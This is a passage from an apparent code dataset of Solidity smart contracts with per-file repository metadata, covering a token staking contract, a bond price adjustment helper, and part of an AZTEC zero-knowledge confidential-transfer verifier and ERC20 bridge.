// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 111,983 | 12,474 |
4db455fe2db555df591c09478d5556f3cf98c7358091340ff3dda448eb0861f5
| 19,357 |
.sol
|
Solidity
| false |
423531051
|
Hector-Network/hector-contracts
|
e41531f53e224fa7396c5df8e4e80672f3ac1f49
|
PriceHelper.sol
| 3,327 | 13,344 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IBond{
function initializeBondTerms(uint _controlVariable,
uint _vestingTerm,
uint _minimumPrice,
uint _maxPayout,
uint _fee,
uint _maxDebt,
uint _initialDebt) external;
function totalDebt() external view returns(uint);
function isLiquidityBond() external view returns(bool);
function bondPrice() external view returns (uint);
function terms() external view returns(uint controlVariable, // scaling variable for price
uint vestingTerm, // in blocks
uint minimumPrice, // vs principle value
uint maxPayout, // in thousandths of a %. i.e. 500 = 0.5%
uint fee, // as % of bond payout, in hundreths. (500 = 5% = 0.05 for every 1 paid)
uint maxDebt // 9 decimal debt ratio, max % total supply created as debt);
}
contract BondPriceHelper is Ownable {
using SafeMath for uint256;
address public daiBond;
address public usdcBond;
address public daiLpBond;
address public usdcLpBond;
address public realOwner;
mapping(address => bool) public executors;
constructor (address _daiBond,
address _usdcBond,
address _daiLpBond,
address _usdcLpBond,
address _realOwner) {
require(_daiBond != address(0));
daiBond = _daiBond;
require(_usdcBond != address(0));
usdcBond = _usdcBond;
require(_daiLpBond != address(0));
daiLpBond = _daiLpBond;
require(_usdcLpBond != address(0));
usdcLpBond = _usdcLpBond;
require(_realOwner != address(0));
realOwner = _realOwner;
}
function setDaiBond(address _daiBond) external onlyManager{
require(_daiBond != address(0));
daiBond = _daiBond;
}
function setUsdcBond(address _usdcBond) external onlyManager{
require(_usdcBond != address(0));
usdcBond = _usdcBond;
}
function setDaiLpBond(address _daiLpBond) external onlyManager{
require(_daiLpBond != address(0));
daiLpBond = _daiLpBond;
}
function setUsdcLpBond(address _usdcLpBond) external onlyManager{
require(_usdcLpBond != address(0));
usdcLpBond = _usdcLpBond;
}
//percent 9876=98.76%
function adjustDaiPriceTo(uint percent) external{
adjustPrice(daiBond,percent);
}
function adjustUsdcPriceTo(uint percent) external{
adjustPrice(usdcBond,percent);
}
function adjustDaiLpPriceTo(uint percent) external{
adjustPrice(daiLpBond,percent);
}
function adjustUsdcLpPriceTo(uint percent) external{
adjustPrice(usdcLpBond,percent);
}
function addExecutor(address executor) external onlyManager{
executors[executor]=true;
}
function removeExecutor(address executor) external onlyManager{
delete executors[executor];
}
function recal(address bond,uint percent) view internal returns(uint){
if(IBond(bond).isLiquidityBond()) return percent;
else{
uint price=IBond(bond).bondPrice();
return price.mul(percent).sub(1000000).div(price.sub(100));
}
}
function viewPriceAdjust(address bond,uint percent) view external returns(uint _controlVar,uint _oldControlVar,uint _minPrice,uint _oldMinPrice,uint _price){
uint price=IBond(bond).bondPrice();
(uint controlVariable, , uint minimumPrice,, ,)=
IBond(bond).terms();
if(minimumPrice==0){
return (controlVariable.mul(recal(bond,percent)).div(10000),
controlVariable,
minimumPrice,
minimumPrice,
price);
}else
return (controlVariable,
controlVariable,
minimumPrice.mul(percent).div(10000),
minimumPrice,
price);
}
function adjustPrice(address bond,uint percent) internal{
if(percent==0)return;
require(percent>=8000&&percent<=12000,"price adjustment can't be more than 20%");
require(executors[msg.sender]==true,'access deny for price adjustment');
(uint controlVariable, uint vestingTerm, uint minimumPrice,uint maxPayout, uint fee, uint maxDebt)=
IBond(bond).terms();
if(minimumPrice==0){
IBond(bond).initializeBondTerms(controlVariable.mul(recal(bond,percent)).div(10000),
vestingTerm,
minimumPrice,
maxPayout,
fee,
maxDebt,
IBond(bond).totalDebt());
}else
IBond(bond).initializeBondTerms(controlVariable,
vestingTerm,
minimumPrice.mul(percent).div(10000),
maxPayout,
fee,
maxDebt,
IBond(bond).totalDebt());
}
function returnOwnership(address bond) external onlyManager(){
IOwnable(bond).pushManagement(realOwner);
}
function receiveOwnership(address bond) external onlyManager(){
IOwnable(bond).pullManagement();
}
}
| 16,723 | 12,475 |
c5af7bd14c395c938a2e60f0f2dc05afe1af23360ad3f23e1cd67482b0b9f665
| 30,442 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa9f26e81f2e7f91b6b64a36f0f95493d18a92b67.sol
| 6,572 | 19,129 |
pragma solidity ^0.4.24;
// File: contracts/AZTEC/AZTEC.sol
library AZTECInterface {
function validateJoinSplit(bytes32[6][], uint, uint, bytes32[4]) external pure returns (bool) {}
}
contract AZTEC {
function() external payable {
assembly {
validateJoinSplit()
// should not get here
mstore(0x00, 404)
revert(0x00, 0x20)
function validateJoinSplit() {
mstore(0x80, 7673901602397024137095011250362199966051872585513276903826533215767972925880) // h_x
mstore(0xa0, 8489654445897228341090914135473290831551238522473825886865492707826370766375) // h_y
let notes := add(0x04, calldataload(0x04))
let m := calldataload(0x24)
let n := calldataload(notes)
let gen_order := 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001
let challenge := mod(calldataload(0x44), gen_order)
// validate m <= n
if gt(m, n) { mstore(0x00, 404) revert(0x00, 0x20) }
// recover k_{public} and calculate k_{public}
let kn := calldataload(sub(calldatasize, 0xc0))
// add kn and m to final hash table
mstore(0x2a0, caller)
mstore(0x2c0, kn)
mstore(0x2e0, m)
kn := mulmod(sub(gen_order, kn), challenge, gen_order) // we actually want c*k_{public}
hashCommitments(notes, n)
let b := add(0x300, mul(n, 0x80))
for { let i := 0 } lt(i, n) { i := add(i, 0x01) } {
// Get the calldata index of this note
let noteIndex := add(add(notes, 0x20), mul(i, 0xc0))
// Define variables k, a and c.
// If i <= m then
// k = kBar_i
// a = aBar_i
// c = challenge
// If i > m then we add a modification for the pairing optimization
// k = kBar_i * x_i
// a = aBar_i * x_i
// c = challenge * x_i
// Set j = i - (m + 1).
// x_0 = 1
// x_1 = keccak256(input string)
// all other x_{j} = keccak256(x_{j-1})
// The reason for doing this is that the point \sigma_i^{-cx_j} can be re-used in the pairing check
// Instead of validating e(\gamma_i, t_2) == e(\sigma_i, g_2) for all i = [m+1,\ldots,n]
// x_j is a pseudorandom variable whose entropy source is the input string, allowing for
// a sum of commitment points to be evaluated in one pairing comparison
let k
let a := calldataload(add(noteIndex, 0x20))
let c := challenge
// We don't transmit kBar_{n-1} in the proof to save space, instead we derive it
// We can recover \bar{k}_{n-1}.
// If m=n then \bar{k}_{n-1} = \sum_{i=0}^{n-1}\bar{k}_i + k_{public}
// else \bar{k}_{n-1} = \sum_{i=0}^{m-1}\bar{k}_i - \sum_{i=m}^{n-1}\bar{k}_i - k_{public}
switch eq(add(i, 0x01), n)
case 1 {
k := kn
// if all notes are input notes, invert k
if eq(m, n) {
k := sub(gen_order, k)
}
}
case 0 { k := calldataload(noteIndex) }
// Check this commitment is well formed...
validateCommitment(noteIndex, k, a)
// If i > m then this is an output note.
// Set k = kx_j, a = ax_j, c = cx_j, where j = i - (m+1)
switch gt(add(i, 0x01), m)
case 1 {
// before we update k, update kn = \sum_{i=0}^{m-1}k_i - \sum_{i=m}^{n-1}k_i
kn := addmod(kn, sub(gen_order, k), gen_order)
let x := mod(mload(0x00), gen_order)
k := mulmod(k, x, gen_order)
a := mulmod(a, x, gen_order)
c := mulmod(challenge, x, gen_order)
// calculate x_{j+1}
mstore(0x00, keccak256(0x00, 0x20))
}
case 0 {
// nothing to do here except update kn = \sum_{i=0}^{m-1}k_i - \sum_{i=m}^{n-1}k_i
kn := addmod(kn, k, gen_order)
}
// Calculate the G1 element \gamma_i^{k}h^{a}\sigma_i^{-c} = B_i
// Memory map:
// 0x20: \gamma_iX
// 0x40: \gamma_iY
// 0x60: k_i
// 0x80: hX
// 0xa0: hY
// 0xc0: a_i
// 0xe0: \sigma_iX
// 0x100: \sigma_iY
// 0x120: -c
calldatacopy(0xe0, add(noteIndex, 0x80), 0x40)
calldatacopy(0x20, add(noteIndex, 0x40), 0x40)
mstore(0x120, sub(gen_order, c))
mstore(0x60, k)
mstore(0xc0, a)
// Call bn128 scalar multiplication precompiles
// Represent point + multiplication scalar in 3 consecutive blocks of memory
// Store \sigma_i^{-c} at 0x1a0:0x200
// Store \gamma_i^{k} at 0x120:0x160
// Store h^{a} at 0x160:0x1a0
let result := staticcall(gas, 7, 0xe0, 0x60, 0x1a0, 0x40)
result := and(result, staticcall(gas, 7, 0x20, 0x60, 0x120, 0x40))
result := and(result, staticcall(gas, 7, 0x80, 0x60, 0x160, 0x40))
// Call bn128 group addition precompiles
// \gamma_i^{k} and h^{a} in memory block 0x120:0x1a0
// Store result of addition at 0x160:0x1a0
result := and(result, staticcall(gas, 6, 0x120, 0x80, 0x160, 0x40))
// \gamma_i^{k}h^{a} and \sigma^{-c} in memory block 0x160:0x1e0
// Store resulting point B at memory index b
result := and(result, staticcall(gas, 6, 0x160, 0x80, b, 0x40))
// We have \sigma^{-c} at 0x1a0:0x200
// And \sigma_{acc} at 0x1e0:0x200
// If i = m + 1 (i.e. first output note)
// then we set \gamma_{acc} and \sigma_{acc} to \gamma_i, -\sigma_i
if eq(i, m) {
mstore(0x260, mload(0x20))
mstore(0x280, mload(0x40))
mstore(0x1e0, mload(0xe0))
mstore(0x200, sub(0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47, mload(0x100)))
}
// If i > m + 1 (i.e. subsequent output notes)
// then we add \sigma^{-c} and \sigma_{acc} and store result at \sigma_{acc} (0x1e0:0x200)
// we then calculate \gamma^{cx} and add into \gamma_{acc}
if gt(i, m) {
mstore(0x60, c)
result := and(result, staticcall(gas, 7, 0x20, 0x60, 0x220, 0x40))
// \gamma_i^{cx} now at 0x220:0x260, \gamma_{acc} is at 0x260:0x2a0
result := and(result, staticcall(gas, 6, 0x220, 0x80, 0x260, 0x40))
// add \sigma_i^{-cx} and \sigma_{acc} into \sigma_{acc} at 0x1e0
result := and(result, staticcall(gas, 6, 0x1a0, 0x80, 0x1e0, 0x40))
}
// throw transaction if any calls to precompiled contracts failed
if iszero(result) { mstore(0x00, 400) revert(0x00, 0x20) }
b := add(b, 0x40) // increase B pointer by 2 words
}
// If the AZTEC protocol is implemented correctly then any input notes were previously outputs of
// This is not the case for any output commitments, so if (m < n) call validatePairing()
if lt(m, n) {
validatePairing(0x64)
}
// We now have the note commitments and the calculated blinding factors in a block of memory
// starting at 0x2a0, of size (b - 0x2a0).
// Hash this block to reconstruct the initial challenge and validate that they match
let expected := mod(keccak256(0x2a0, sub(b, 0x2a0)), gen_order)
if iszero(eq(expected, challenge)) {
// No! Bad! No soup for you!
mstore(0x00, 404)
revert(0x00, 0x20)
}
// Great! All done. This is a valid proof so return ```true```
mstore(0x00, 0x01)
return(0x00, 0x20)
}
function validatePairing(t2) {
let field_order := 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47
let t2_x_1 := calldataload(t2)
let t2_x_2 := calldataload(add(t2, 0x20))
let t2_y_1 := calldataload(add(t2, 0x40))
let t2_y_2 := calldataload(add(t2, 0x60))
// check provided setup pubkey is not zero or g2
if or(or(or(or(or(or(or(iszero(t2_x_1),
iszero(t2_x_2)),
iszero(t2_y_1)),
iszero(t2_y_2)),
eq(t2_x_1, 0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed)),
eq(t2_x_2, 0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2)),
eq(t2_y_1, 0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa)),
eq(t2_y_2, 0x90689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b))
{
mstore(0x00, 400)
revert(0x00, 0x20)
}
// store coords in memory
mstore(0x20, mload(0x1e0)) // sigma accumulator x
mstore(0x40, mload(0x200)) // sigma accumulator y
mstore(0x80, 0x1800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed)
mstore(0x60, 0x198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c2)
mstore(0xc0, 0x12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa)
mstore(0xa0, 0x90689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b)
mstore(0xe0, mload(0x260)) // gamma accumulator x
mstore(0x100, mload(0x280)) // gamma accumulator y
mstore(0x140, t2_x_1)
mstore(0x120, t2_x_2)
mstore(0x180, t2_y_1)
mstore(0x160, t2_y_2)
let success := staticcall(gas, 8, 0x20, 0x180, 0x20, 0x20)
if or(iszero(success), iszero(mload(0x20))) {
mstore(0x00, 400)
revert(0x00, 0x20)
}
}
function validateCommitment(note, k, a) {
let gen_order := 0x30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f0000001
let field_order := 0x30644e72e131a029b85045b68181585d97816a916871ca8d3c208c16d87cfd47
let gammaX := calldataload(add(note, 0x40))
let gammaY := calldataload(add(note, 0x60))
let sigmaX := calldataload(add(note, 0x80))
let sigmaY := calldataload(add(note, 0xa0))
if iszero(and(and(and(eq(mod(a, gen_order), a), // a is modulo generator order?
gt(a, 1) // can't be 0 or 1 either!),
and(eq(mod(k, gen_order), k), // k is modulo generator order?
gt(k, 1) // and not 0 or 1)),
and(eq(// y^2 ?= x^3 + 3
addmod(mulmod(mulmod(sigmaX, sigmaX, field_order), sigmaX, field_order), 3, field_order),
mulmod(sigmaY, sigmaY, field_order)),
eq(// y^2 ?= x^3 + 3
addmod(mulmod(mulmod(gammaX, gammaX, field_order), gammaX, field_order), 3, field_order),
mulmod(gammaY, gammaY, field_order))))) {
mstore(0x00, 400)
revert(0x00, 0x20)
}
}
function hashCommitments(notes, n) {
for { let i := 0 } lt(i, n) { i := add(i, 0x01) } {
let index := add(add(notes, mul(i, 0xc0)), 0x60)
calldatacopy(add(0x300, mul(i, 0x80)), index, 0x80)
}
mstore(0x00, keccak256(0x300, mul(n, 0x80)))
}
}
}
}
// File: contracts/AZTEC/AZTECERC20Bridge.sol
contract ERC20Interface {
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
}
contract AZTECERC20Bridge {
bytes32[4] setupPubKey;
bytes32 domainHash;
uint private constant groupModulusBoundary = 10944121435919637611123202872628637544274182200208017171849102093287904247808;
uint private constant groupModulus = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
uint public scalingFactor;
mapping(bytes32 => address) public noteRegistry;
ERC20Interface token;
event Created(bytes32 domainHash, address contractAddress);
event ConfidentialTransfer();
constructor(bytes32[4] _setupPubKey, address _token, uint256 _scalingFactor, uint256 _chainId) public {
setupPubKey = _setupPubKey;
token = ERC20Interface(_token);
scalingFactor = _scalingFactor;
bytes32 _domainHash;
assembly {
let m := mload(0x40)
mstore(m, 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f) // "EIP712Domain(string name, string version, uint256 chainId, address verifyingContract)"
mstore(add(m, 0x20), 0x60d177492a60de7c666b3e3d468f14d59def1d4b022d08b6adf554d88da60d63) // name = "AZTECERC20BRIDGE_DOMAIN"
mstore(add(m, 0x40), 0x28a43689b8932fb9695c28766648ed3d943ff8a6406f8f593738feed70039290) // version = "0.1.1"
mstore(add(m, 0x60), _chainId) // chain id
mstore(add(m, 0x80), address) // verifying contract
_domainHash := keccak256(m, 0xa0)
}
domainHash = _domainHash;
emit Created(_domainHash, this);
}
function validateInputNote(bytes32[6] note, bytes32[3] signature, uint challenge, bytes32 domainHashT) internal {
bytes32 noteHash;
bytes32 signatureMessage;
assembly {
let m := mload(0x40)
mstore(m, mload(add(note, 0x40)))
mstore(add(m, 0x20), mload(add(note, 0x60)))
mstore(add(m, 0x40), mload(add(note, 0x80)))
mstore(add(m, 0x60), mload(add(note, 0xa0)))
noteHash := keccak256(m, 0x80)
mstore(m, 0x0f1ea84c0ceb3ad2f38123d94a164612e1a0c14a694dc5bfa16bc86ea1f3eabd) // keccak256 hash of "AZTEC_NOTE_SIGNATURE(bytes32[4] note,uint256 challenge,address sender)"
mstore(add(m, 0x20), noteHash)
mstore(add(m, 0x40), challenge)
mstore(add(m, 0x60), caller)
mstore(add(m, 0x40), keccak256(m, 0x80))
mstore(add(m, 0x20), domainHashT)
mstore(m, 0x1901)
signatureMessage := keccak256(add(m, 0x1e), 0x42)
}
address owner = ecrecover(signatureMessage, uint8(signature[0]), signature[1], signature[2]);
require(owner != address(0), "signature invalid");
require(noteRegistry[noteHash] == owner, "expected input note to exist in registry");
noteRegistry[noteHash] = 0;
}
function validateOutputNote(bytes32[6] note, address owner) internal {
bytes32 noteHash; // Construct a keccak256 hash of the note coordinates.
assembly {
let m := mload(0x40)
mstore(m, mload(add(note, 0x40)))
mstore(add(m, 0x20), mload(add(note, 0x60)))
mstore(add(m, 0x40), mload(add(note, 0x80)))
mstore(add(m, 0x60), mload(add(note, 0xa0)))
noteHash := keccak256(m, 0x80)
}
require(owner != address(0), "owner must be valid Ethereum address");
require(noteRegistry[noteHash] == 0, "expected output note to not exist in registry");
noteRegistry[noteHash] = owner;
}
function confidentialTransfer(bytes32[6][] notes, uint256 m, uint256 challenge, bytes32[3][] inputSignatures, address[] outputOwners, bytes) external {
require(inputSignatures.length == m, "input signature length invalid");
require(inputSignatures.length + outputOwners.length == notes.length, "array length mismatch");
// validate AZTEC zero-knowledge proof
